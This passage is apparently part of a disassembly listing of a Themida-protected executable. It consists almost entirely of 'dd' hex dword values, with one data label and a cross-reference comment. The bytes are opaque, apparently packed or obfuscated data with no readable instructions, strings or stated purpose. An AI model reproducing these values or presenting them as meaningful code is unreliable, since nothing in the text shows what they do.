		dd 26023F0Eh, 0BD073F1Eh, 0E5811B5Ah, 4CBFD808h, 6493F67Ch
		dd 0A8C190E0h, 0A7181DD0h, 0DE91925Ah, 0F703F349h, 0A70314B3h
		dd 0D7B9AA5Ah, 0A1B3CB5Dh, 0A8CE6B73h, 3927B6B0h, 4F3C1FD3h
		dd 0A70C1B53h, 0B7B21AA8h, 186E7E76h, 561492A5h, 0FDC5F348h
		dd 0DAE5323Ah, 4F35F373h, 0A7181B57h, 0F440395Bh, 5410984Ch
		dd 0DA2B1118h, 5A049090h, 0FCC5F357h, 57EB883Bh, 0F5607B0Ah
		dd 9617F5EAh, 346D4300h, 4F561B30h, 0A7031B59h,	0FF42437Ah
		dd 0A3E45FD3h, 0A3445FDBh, 0A7301B47h, 4EDB4B1Ah, 4702B671h
		dd 8F303E2Ch, 4D29BC3h,	8E5C8EA5h, 0A7AA1EB2h, 0A763F308h
		dd 0FD101B5Ah, 0F3914199h, 0E38D1F7Eh, 0A71E1F7Eh, 0F5411B5Ah
		dd 0AF55EF99h, 2249E031h, 0A28812F7h, 4F661B30h, 0A7181B59h
		dd 0F9CF457Ah, 0A3226FD3h, 0A3275FDBh, 0A7811B4Eh, 0A3034D1Ch
		dd 0B21D9ED3h, 22F71EB2h, 0A2F03F8Bh, 0A70C1B55h, 82739ED3h
		dd 32FC1EB2h, 0A26912F7h, 4F951B30h, 0A7601B59h, 0FAF3467Ah
		dd 0A33C77D3h, 0A3285FDBh, 0A7061B43h, 50C04E1Fh, 6F638CE0h
		dd 0A7C7F2D9h, 89D61B5Ah, 80FA1E1Ch, 369D9265h,	0CD09F371h
		dd 0A4EE4E5Ah, 87031B5Ah, 2EDCD807h, 26C43F36h,	0BD643F1Eh
		dd 0E2301B5Ah, 0E309D80Fh, 796F1145h, 0D69B32F7h, 2C06F34Fh
		dd 4F9426DFh, 0DF5D965Fh, 2E65F09Fh, 1ABD1A19h,	0A2F030FFh
		dd 625EAED7h, 94BF1EB1h, 54031B5Ah, 1FB2F0FEh, 0A7C01B5Ah
		dd 0A414DB51h, 2C300398h, 0F4143F1Eh, 0A70C1BB2h, 6487405Ah
		dd 0A7031B4Dh, 0B7A547D3h, 0B3E45FD3h, 757A301h, 47CF1BFAh
		dd 0A33C5FD1h, 0A766FBA5h, 0A705F30Dh, 0F8231B5Ah, 0DB084499h
		dd 0E3411F7Eh, 0A7771F7Eh, 0F0771B5Ah, 9410199h, 0A706F28Ch
		dd 5CB11B5Ah, 983C90EAh, 0AE272A19h, 0F7C071A3h, 0A76018B2h
		dd 64683B5Ah, 835C9202h, 83489A5Eh, 0A706075Eh,	64535B5Ah
		dd 0ECEAA3BAh, 12EBCA9Ah, 49E17DEBh, 22B96EF6h,	0A2F034F3h
		dd 0F10C713Bh, 0A70618B2h, 645D3B5Ah, 83F59204h, 83849A5Eh
		dd 0A760015Eh, 64665D5Ah, 0CB61F6FEh, 0F59738DEh, 2C5CCAD1h
		dd 71827D91h, 1A0C6526h, 0A22BA8AFh, 614D96D7h,	92881EB1h
		dd 94803DF1h, 4F3D6ADFh, 66C9305Fh, 0B2C719B3h,	5AA7181Dh
		dd 290900B3h, 0DBC13E9Fh, 546D6C2h, 0EDA84190h,	0E98343C8h
		dd 8BA4F305h, 0F1B70FD9h, 4DE9h, 81FC6000h, 9FC748E8h
		dd 0FC616122h, 52006AC3h, 3E8h,	0C35A2000h, 2454895Ah
		dd 24448104h, 1C04h, 0C3524200h, 796477F0h, 9AFF3A95h
		dd 14E9607Ch, 7A000000h, 0A8839088h, 6EBD750Eh,	3682561Bh
		dd 0DEBC1CEFh, 0B2E37FF0h, 0C08B61D1h, 0D890F60h, 0E9000000h
		dd 8, 0CAEEFF8h, 0DE3E54F4h, 12F78166h,	0BD836138h, 5E80E89h
		dd 83097500h, 0E80BE9BDh, 19740005h, 0C08B5350h, 4B9B8h
		dd 0F9858900h, 8D05E81Ah, 0EAA9B59Dh, 5BD3FF05h, 0E9BD8358h
		dd 5E80Bh, 53501774h, 4B9B8h, 0F9858900h, 8D05E81Ah, 0EAA6569Dh
		dd 5BD3FF05h, 56006A58h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1B04h, 0C3564600h, 47837D63h, 0FA004812h, 0AE9F8h, 0ADC40000h
		dd 2F4EDD01h, 4AA02A9Eh, 6AC08Bh, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 150424h, 57470000h, 0F8036C3h, 1887h, 13E900h
		dd 761B0000h, 0DB4ADFBEh, 9DC5808h, 68BA8E89h, 26DEFAE4h
		dd 10E9BAh, 0B6B20000h,	3DB40CEEh, 512F0745h, 40B02ACEh
		dd 8B402ABAh, 53006AC1h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1804h, 0C3534300h, 4920E171h, 0FE8B668Eh, 4EBh, 0B5290000h
		dd 5E802BDh, 22E1B52Bh,	6A05E8h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 1A0424h, 55450000h, 3A5551C3h, 4020E2BFh
		dd 1C1D858Dh, 6A05E8h, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 170424h, 56460000h, 0B13378C3h, 3D9589E7h, 6005E830h
		dd 0DA18D8Bh, 0BA6605E8h, 5061805Ah, 0BE665250h, 310F9627h
		dd 61605250h, 0F28B310Fh, 585A585Ah, 6A240489h,	3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 17042444h, 45000000h
		dd 8E0DC355h, 6AEB76h, 0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 15h, 0DCC35040h, 12E900h, 0AA1C0000h, 15E23225h
		dd 7C867EA4h, 0AC5FAE00h, 0D8A6CE15h, 6A006Ah, 3E853h
		dd 5B200000h, 5C895BC3h, 44810424h, 190424h, 53430000h
		dd 0EA2DA1C3h, 66A163C3h, 8D71FABEh, 0EBC9D485h, 52006A05h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1604h, 0C3524200h
		dd 83AFAAEEh, 6A05C0h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 1B0424h, 51410000h, 0F5BE6CC3h, 4B37DCBEh, 3995899Ch
		dd 8905E826h, 0E825E195h, 8B669005h, 0D9BE50F2h, 902222C6h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 18h, 6CC35141h
		dd 626A8BDDh, 9006AFCh,	0E807759Dh, 0E9006A05h,	14h, 1A22CFB0h
		dd 2221EC92h, 0C0E21F2Ch, 0F627EBCEh, 28E7C7F0h, 203D95FFh
		dd 0E95705E8h, 0Ch, 0A36491CAh,	0B8AE2369h, 114CE839h
		dd 0DB9D8D5Eh, 8105EBA4h, 0D872EBCEh, 65B58B21h, 0FF05E825h
		dd 56006AD3h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1A04h
		dd 0C3564600h, 8D709E15h, 29089628h, 0E807098Dh, 4585FF05h
		dd 6A05E825h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 1A042444h, 40000000h, 43E8C350h, 0D903CEA8h,	6ACE9D7h
		dd 0E80000h, 5D000000h,	0C9DEED81h, 8B6605EBh, 0BD81F9FBh
		dd 5E824D1h, 7D0h, 139860Fh, 820F0000h,	0Eh, 9E9h, 51686D00h
		dd 0C1C92AD1h, 9D8BC31Bh, 5E81479h, 100E381h, 6A0000h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 140424h, 56460000h
		dd 0FC60C9C3h, 795BD0Bh, 0B6105E8h, 7C850FDBh, 0F000000h
		dd 58Eh, 0EE816600h, 0BD83939Eh, 5EBC7B5h, 0B840F00h, 8B000000h
		dd 91E9F8h, 0BE660000h,	85C701C8h, 5EBC7B5h, 1,	0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 1Ch, 16C35141h, 85473C34h
		dd 0F317A822h, 31459D89h, 54E905E8h, 6A000000h,	3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 14042444h, 47000000h
		dd 6602C357h, 0C7FBF5BFh, 0EBC7B585h, 5, 53006A00h, 3E8h
		dd 0C35B2000h, 245C895Bh, 24448104h, 1C04h, 0C3534300h
		dd 8660A79Eh, 4CDFF07Eh, 1DB5897Eh, 8D05E816h, 0E814799Dh
		dd 51006A05h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1904h
		dd 0C3514100h, 8735290h, 9E974C0h, 8E000000h, 0DFE50FAFh
		dd 0DEE88B2Bh, 0FEFF2381h, 66FCFFFFh, 0C3F6DB8Ch, 48840F04h
		dd 0F9000000h, 9AD95FFh, 8D0905E8h, 5E81541h, 38E0F50h
		dd 66000000h, 489F38Bh,	50006A24h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1A04h, 0C3504000h, 0A5A2F3F6h, 8B7FE2ECh
		dd 0E80E71B5h, 58D8905h, 0E905E813h, 3CDh, 955B503h, 0B005E8h
		dd 0A9F9D781h, 70E623B0h, 0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 1Ah
		dd 18C35545h, 0F63F8CFDh, 60F508F8h, 719BD8Bh, 8B5005E8h
		dd 0E8023D8Dh, 0E4615F05h, 719D2971h, 0F05E82Bh, 7E9D8B6h
		dd 46000000h, 0F5F0B421h, 6BA8E50h, 89000000h, 0E82FE58Dh
		dd 8BC38B05h, 9E9F7h, 11940000h, 41CDF0DCh, 0C1F6A0E6h
		dd 6A04E8h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1A0424h
		dd 56460000h, 0E873B2C3h, 42AA63F6h, 79BD8B50h,	5E05E822h
		dd 0E9E2F766h, 7, 0BFC48F71h, 2B40C18Ch, 53006AD8h, 3E8h
		dd 0C35B2000h, 245C895Bh, 24448104h, 1C04h, 0C3534300h
		dd 0DFE6B63Ah, 378D19A2h, 58D09F2h, 5005E800h, 7D9AE7BEh
		dd 241C8936h, 0E853006Ah, 3, 5BC35B20h,	4245C89h, 4244481h
		dd 1Ch,	14C35343h, 619B11ADh, 0E9F40F58h, 24D1B5FFh, 0E86005E8h
		dd 11h,	5E52DD3Dh, 6708A0F8h, 0BA8A9792h, 692826ACh, 9B60B90Ah
		dd 0E9590AD9h, 0Ah, 2D26ABD6h, 6894AD29h, 0FF610C4Eh, 0E820F995h
		dd 52006A05h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1C04h
		dd 0C3524200h, 918A7CB0h, 4206BAA4h, 0E985899Fh, 0B005E828h
		dd 3880F00h, 66000000h,	70E6FE8Bh, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 15h, 27C35040h, 0DE9E8h,	7D220000h
		dd 19B1ED0Ch, 0F385CE32h, 0E4FD8CFBh, 51BD8971h, 3C05E831h
		dd 12830F61h, 6A000002h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 1B042444h, 42000000h, 0F60DC352h,	0AB7C5FBEh
		dd 81660604h, 0FCF4CE6h, 8B60D8B6h, 0E80D19BDh,	6840F05h
		dd 0F000000h, 89h, 6BA6100h, 1000000h, 0E827DD85h, 60C38B05h
		dd 8BC68B66h, 0E807B185h, 0E8C16105h, 51006A04h, 3E8h
		dd 0C3592000h, 244C8959h, 24448104h, 1504h, 0C3514100h
		dd 0F766DA27h, 58B0FE2h, 0BE000000h, 69C436AFh,	6A58D82Bh
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 1C042444h
		dd 47000000h, 0B2FDC357h, 0D2268658h, 0FC940DE7h, 15319589h
		dd 0D82B05E8h, 157880Fh, 66600000h, 1895DB81h, 95BD8B60h
		dd 0E905E80Eh, 14h, 7C6AE5C0h, 0E3E08104h, 0E624A622h
		dd 4B97E92Dh, 5DF7FBCh,	7B96161h, 6A000000h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 16042444h, 46000000h
		dd 0E6D4C356h, 0C1831Dh, 0E851006Ah, 3,	59C35920h, 4244C89h
		dd 4244481h, 18h, 0E9C35141h, 0F055E7EAh, 860FD93Bh, 0E1h
		dd 205EEF81h, 8C6644BFh, 0F1B70FD9h, 0F04C1F6h,	0A084h
		dd 50006A00h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1804h
		dd 0C3504000h, 0DF407B2Dh, 19BD895Ch, 0FF05E824h, 0E809AD95h
		dd 50006A05h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1604h
		dd 0C3504000h, 0FD9B1ADh, 0A82h, 48A0F00h, 66000000h, 5B935FBFh
		dd 10D5BD0Bh, 0C32B05E8h, 8343Dh, 32860F00h, 6A000000h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 19042444h
		dd 45000000h, 4B49C355h, 400CDABEh, 9499589h, 32E905E8h
		dd 81000000h, 54A120EEh, 6AC08B3Eh, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 1C042444h, 42000000h, 0FA8CC352h
		dd 97F0A6B6h, 89A6DA18h, 0E81705BDh, 8BC38B05h,	52006AD8h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1D04h, 0C3524200h
		dd 0B13CBE55h, 0AC4C15DAh, 9D294B70h, 5E8307Dh,	20ED85C7h
		dd 0BBFF05E8h, 0B5895DCDh, 5E80E79h, 6AC08Bh, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 170424h, 50400000h, 0A9CF9DC3h
		dd 0E1BEF9C8h, 8154E384h, 0E824D1BDh, 7D005h, 2E850F00h
		dd 8B000000h, 0E80EB5BDh, 0D185FF05h, 6A05E824h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 1A042444h, 41000000h
		dd 402C351h, 9E8CCBFh, 0D1B5FF6Dh, 3105E824h, 0E8224D8Dh
		dd 0F995FF05h, 6A05E820h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 19042444h, 42000000h, 56EC352h, 4D44CF62h
		dd 11E9h, 9C257400h, 41543D3Dh,	1A606B2Fh, 0DD851848h
		dd 0B890BCAAh, 12345678h, 0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 15h, 0ABC35242h, 8DB58B1Dh, 8B05E80Eh, 0E802D5B5h
		dd 469D8D05h, 0E905EBD0h, 0FFFFF95Ah, 3151B58Bh, 0C18B05E8h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 19h, 50C35141h
		dd 4A4E7E9Ch, 0D9B58B64h, 6005E831h, 10E9F98Ah,	5E000000h
		dd 4B5BDAB7h, 0A895F7D0h, 0AEFA54C0h, 61D52B31h, 4EBh
		dd 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h, 1B0424h
		dd 50400000h, 6D7D9DC3h, 0FDD4C707h, 0D9D8910h,	3305E813h
		dd 0E807FDBDh, 51006A05h, 3E8h,	0C3592000h, 244C8959h
		dd 24448104h, 1804h, 0C3514100h, 0E216407Ch, 1D858D51h
		dd 6A05E81Ch, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 1D042444h, 46000000h, 0E218C356h, 92EA333h, 9EA62C7Bh
		dd 55BD8951h, 5E05E82Fh, 56515090h, 8B905F5Fh, 0E814CDB5h
		dd 6A006A05h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 14042444h, 46000000h, 6A0BC356h, 56006A00h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1D04h,	0C3564600h, 0E92C5432h
		dd 497C45D0h, 858DF842h, 5EBD2DCh, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 1Ah, 62C35242h, 915A3A2Eh, 0B58BD7D4h
		dd 5E80C19h, 6A05C083h,	3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 1D042444h, 42000000h, 0D2B9C352h,	0FE170D90h
		dd 0A9AA98E5h, 3FEF8166h, 0BE66906Fh, 5750B839h, 6A905Fh
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1A0424h, 53430000h
		dd 6346E4C3h, 0E53D147Ah, 31FDB58Bh, 0BE6605E8h, 6AB7A4h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 16h, 65C35545h
		dd 0B58BFDDBh, 5E81F75h, 795B58Bh, 6A05E8h, 1AC98D89h
		dd 95FF05E8h, 5E8203Dh,	0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 16h, 0A8C35646h, 8B5640ABh, 0E82191B5h, 9D8D5E05h
		dd 5EBA4DBh, 14D68166h,	0E9D3FF48h, 0Eh, 0AECBA2D1h, 76A784B0h
		dd 2AA04AA2h, 85FFEFB2h, 5E82545h, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 15h, 25C35646h, 89F18B17h, 0E81B598Dh
		dd 0F69E905h, 0E80000h,	5D000000h, 0D2E6ED81h, 810F05EBh
		dd 5, 94F68166h, 0D1BD811Ch, 0D005E824h, 0F000007h, 1F486h
		dd 53006A00h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1A04h
		dd 0C3534300h, 0AAB53AABh, 0BE9DBE44h, 0FFEAB20h, 9719531h
		dd 9D8B05E8h, 5E819F1h,	0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 16h, 1EC35040h, 852917B9h,	5E816E1h, 0BE953h
		dd 83FC0000h, 44F0FDF4h, 0F099AD4Ch, 0E3815EE0h, 100h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Bh, 0C1C35343h
		dd 81D56711h, 81E7B047h, 5832B7E6h, 8E0F504Dh, 2, 8B5EFB8Bh
		dd 0E809F5B5h, 0FDB0B05h
		dd 0C085h, 999D8900h, 8905E831h, 0E80F5195h, 0C9BD8305h
		dd 5EBD0h, 69840Fh, 6A0000h, 3E855h, 5D200000h,	6C895DC3h
		dd 44810424h, 190424h, 55450000h, 0DF2CE2C3h, 60BE4AA8h
		dd 6870Fh, 85890000h, 5E831EDh,	0B503CE81h, 0F612E62h
		dd 680h, 0B5BD0B00h, 0E905E824h, 8Dh, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 16h, 9BC35646h, 0FBBF42C8h, 0C73E273Fh
		dd 0EBD0C985h, 105h, 0E8806000h, 86B966E7h, 52E961D1h
		dd 6A000000h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 18042444h, 42000000h, 1784C352h, 896437EFh, 0E82471B5h
		dd 0C985C705h, 5EBD0h, 6A000000h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 14042444h, 43000000h, 8980C353h
		dd 0E813E18Dh, 0F19D8D05h, 6A05E819h, 3E85500h,	20000000h
		dd 895DC35Dh, 8104246Ch, 1C042444h, 45000000h, 0F1E8C355h
		dd 730BE397h, 810FCF53h, 6A8C5ED7h, 393FBF0Eh, 23815509h
		dd 0FFFFFEFFh, 0BE8h, 5491900h,	95583743h, 46351013h, 6830Fh
		dd 0EF810000h, 59AA2E1h, 0DB8C665Fh, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 1Ch, 50C35545h, 55D0196Fh, 0A64452B3h
		dd 8E8h, 0C9033E00h, 4A73228h, 12E842h,	0F5200000h, 976E2100h
		dd 0CA97D276h, 0CECE0DD1h, 20A3C49h, 1F45BD89h,	5F5E05E8h
		dd 0F04C3F6h, 7184h, 55006A00h,	3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1404h, 0C3554500h, 9DB58BCCh, 0FF05E80Fh
		dd 0E809AD95h, 50006A05h, 3E8h,	0C3582000h, 24448958h
		dd 24448104h, 1B04h, 0C3504000h, 0B62A7C50h, 0AC77C816h
		dd 0DE8h, 6D8E7200h, 0EDEE59DAh, 38B77CEBh, 0BF66D006h
		dd 905EEC7Ch, 0BE665750h, 905E185Dh, 333DB589h,	0C8E905E8h
		dd 6A000003h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 16042444h, 47000000h, 43F7C357h, 19BD23A9h, 6605E828h
		dd 1227C681h, 6A00B0h, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 150424h, 52420000h, 0FA34AC3h, 181h,	70E6FC00h, 2821BD31h
		dd 71E405E8h, 1A89BD89h, 0B60F05E8h, 76ECBFD8h,	6BA7254h
		dd 6A000000h
dword_57EF68	dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 1D042444h
					; DATA XREF: Themida_:0054AC67o
		dd 45000000h, 0D490C355h, 0C5AB4B84h, 96799797h, 10E8h
		dd 0AC06FC00h, 1D255752h, 94F673C0h, 477DBFFBh,	65BE66BCh
		dd 0BD8B5E2Ah, 5E814D5h, 0B70FC38Bh, 0E8C1F5F3h, 56006A04h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1404h, 0C3564600h
		dd 85B58BB8h, 5305E80Dh, 140DBD89h, 665F05E8h, 960E2F7h
		dd 0E80AFDBDh, 7DC68105h, 61628564h, 0EE8D82Bh,	0B6000000h
		dd 0F17D596Bh, 3334212h, 86EAEE2Ch, 0EFC2BE20h,	505E6B78h
		dd 820F5250h, 4, 0B61BF66h, 0FE9310Fh, 36000000h, 202EC8A7h
		dd 44463F1Ch, 681324Ah,	585A2D9Fh, 8B241C89h, 0E82CB1BDh
		dd 0D1B5FF05h, 0F05E824h, 0C8Ah, 6840F00h, 0F000000h, 87h
		dd 0F995FF00h, 8B05E820h, 0E82CD9B5h, 0ADB50B05h, 0B005E827h
		dd 8970E600h, 0E82E7585h, 31B58B05h, 0E405E82Eh, 53006A71h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1504h, 0C3534300h
		dd 0F1BE28B8h, 3C224ACEh, 24830F61h, 6A000002h,	3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 14042444h, 42000000h
		dd 0F1CC352h, 11E9D8B6h, 0E9000000h, 66794730h,	9DF7E8FAh
		dd 43E2C83Bh, 2FB799EAh, 6BAh, 9E800h, 38300000h, 0EB5B3A69h
		dd 5EE4E412h, 6AC38Bh, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 1D0424h, 56460000h, 490E74C3h, 1B306D7Ch, 8B51D700h
		dd 0E8146DB5h, 4E8C105h, 75E68166h, 0E2F7663Eh,	0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 15h, 90C35646h, 0D6816640h
		dd 0D82BA17Eh, 0E358529h, 0F55805E8h, 880FD82Bh, 16Fh
		dd 2EC9BD0Bh, 0B70F05E8h, 7B9F7h, 8B660000h, 5860FF3h
		dd 66000000h, 5D3CE81h,	6A00C183h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 1C042444h, 42000000h, 7A8DC352h
		dd 4228F91Eh, 0FD553E1h, 1187h,	0CE900h, 7D250000h, 0FF8C3DA5h
		dd 0BEC5603Ch, 0D93B6AACh, 10D860Fh, 6A0000h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 1B0424h, 53430000h, 54C0A8C3h
		dd 2B31AEFAh, 9D06BED5h, 8C6650BDh, 4C1F6D9h, 0AD840Fh
		dd 8B600000h, 0E82D55BDh, 55BD8905h, 6105E813h,	9AD95FFh
		dd 6A05E8h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1B0424h
		dd 53430000h, 896E7BC3h, 75DF2FF5h, 0DBD8B54h, 5B05E830h
		dd 0EE8h, 62DC500h, 0BC65D5B3h,	6564A3F1h, 89ED87D5h, 0E81AC185h
		dd 0C32B5E05h, 12F18509h, 343D05E8h, 0F000008h,	4286h
		dd 55006A00h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1904h
		dd 0C3554500h, 0A27AF930h, 48E9F626h, 6A000000h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 14042444h, 40000000h
		dd 8B0EC350h, 50006AC0h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1604h, 0C3504000h, 0F7233A3h, 685h, 7DB58B00h, 8B05E827h
		dd 6AD88BC3h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 18042444h, 47000000h, 3579C357h, 0E8CB8DE5h,	13h, 1255371h
		dd 0FFD6D1E5h, 5A5AFD06h, 0BAA568B1h, 0E9DB39DDh, 13h
		dd 966507EBh, 0C8526FC3h, 2F45D513h, 0EE79FFEFh, 5F755FCDh
		dd 147985C7h, 0E59D05E8h, 6A5643h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 1D0424h, 50400000h, 681DFDC3h, 0D6F5C621h
		dd 8B8C937Bh, 65B58BF9h, 8B05E814h, 51006AC0h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1704h,	0C3514100h, 0BBE9B968h
		dd 24D1BD81h, 7D005E8h,	850F0000h, 36h,	0E857006Ah, 3
		dd 5FC35F20h, 4247C89h,	4244481h, 1Dh, 15C35747h, 9CC49E41h
		dd 0AB764E92h, 0D185FF86h, 2905E824h, 0E8065195h, 92D8BF05h
		dd 0B5FF239Bh, 5E824D1h, 0E851006Ah, 3,	59C35920h, 4244C89h
		dd 4244481h, 18h, 0A8C35141h, 91FB8687h, 20F995FFh, 0FE805E8h
		dd 36000000h, 0C4A642B7h, 203F66E4h, 1B4057C7h,	85894070h
		dd 5E80EA5h, 68C0F5Fh, 29000000h, 0E8221595h, 0F409005h
		dd 1980h, 14E900h, 0B1640000h, 0FBF5BD72h, 0E233137Eh
		dd 0DD76680Ch, 886F599Dh, 0BD836ACFh, 5E8256Dh,	0FC840F00h
		dd 81000000h, 76B721CFh, 0D5BD836Ch, 5E812h, 0E9840Fh
		dd 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 140424h
		dd 56460000h, 8D0FE5C3h, 6, 0F79BD89h, 95FF05E8h, 5E8256Dh
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Ah, 63C35545h
		dd 448180ECh, 0DE81518Fh, 7BCB437Ah, 840FC00Bh,	8Bh, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Ch, 0BAC35545h, 0EB6D19C2h
		dd 8EB5E6FCh, 5C58D89h,	8D8D05E8h, 5E84D6Ah, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 1Ah, 0ACC35141h, 54464F12h
		dd 5B81750h, 6A000000h,	3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 1B042444h, 46000000h, 5898C356h, 0CA6533CCh
		dd 0BF0FAA07h, 0FE1FFF6h, 683h,	0A19D8900h, 8305E828h
		dd 0E8225DBDh, 840F0005h, 603h,	12D5BD83h, 0F0005E8h, 5F684h
		dd 55BD2B00h, 5005E82Fh, 0DE956h, 0DEEF0000h, 0E5033A81h
		dd 61F1EA4Bh, 5FB67856h, 998D8D5Fh, 6A05E816h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 16042444h, 47000000h
		dd 0C5C357h, 0AE951h, 8710000h,	408FCD9Eh, 3E03A5A3h, 7C8401C7h
		dd 6A44B2h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 160424h
		dd 57470000h, 56C83FC3h, 20F5B589h, 0BF6605E8h,	181F0F0h
		dd 1499CFCBh, 0E852006Ah, 3, 5AC35A20h,	4245489h, 4244481h
		dd 1Bh,	0AFC35242h, 8083E8F6h, 896B18FEh, 0E81A519Dh, 441C705h
		dd 0CE706B34h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 18h,	0BC35242h, 0D249EC7Ah, 13E8h, 0B232D500h, 0CCB86B47h
		dd 8FF90F93h, 980DC3BCh, 0AD49F142h, 5FFFB70Fh,	10044181h
		dd 6A31D6D7h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 17042444h, 45000000h, 2188C355h, 6A80E6h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 16h, 0E6C35747h, 0BD33D45Fh
		dd 5E82035h, 1699858Dh,	0EE905E8h, 61000000h, 0AA76BF2Eh
		dd 0E2A1CA07h, 35FA25E2h, 820F9018h, 4,	9677BE66h, 90FA8B50h
		dd 0FFF38B66h, 0E8225D95h, 53006A05h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1704h,	0C3534300h, 0BE1E794Fh
		dd 16998D8Dh, 0B58905E8h, 5E81A41h, 1C7h, 93BF0000h, 0C7316547h
		dd 441h, 6A0000h, 3E853h, 5B200000h, 5C895BC3h,	44810424h
		dd 170424h, 53430000h, 0D0F647C3h, 0FA8B6608h, 840FC00Bh
		dd 7Ch,	9E8h, 10DD5B00h, 4665B79Fh, 0B58B5F42h,	5E812B1h
		dd 6A8D8D5Fh, 6A05E84Dh, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 1B042444h, 42000000h, 0A163C352h,	2FC22879h
		dd 816649A2h, 60578AE7h, 5B861F8h
		dd 6A000000h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 1C042444h, 43000000h, 578BC353h, 0F4805964h,	0FFBFDD38h
		dd 5DBD8BE1h, 6605E827h, 0F350F681h, 16998D8Dh,	0BD8B05E8h
		dd 5E82D89h, 727C01C7h,	6A44AAh, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 1B0424h, 51410000h, 36A40DC3h, 2474AD89h
		dd 0BD89530Ch, 5E816D9h, 0CB01815Eh, 891499CFh,	0E80811BDh
		dd 441C705h, 0CE78753Ch, 0A71BD8Bh, 418105E8h, 0D6D71004h
		dd 55006A31h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1A04h
		dd 0C3554500h, 495AB3Bh, 0F90BFB8h, 68Eh, 3D9D8900h, 0F05E80Fh
		dd 680h, 1D852900h, 6A05E80Bh, 15B58900h, 8D05E822h, 0E8169985h
		dd 52006A05h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1C04h
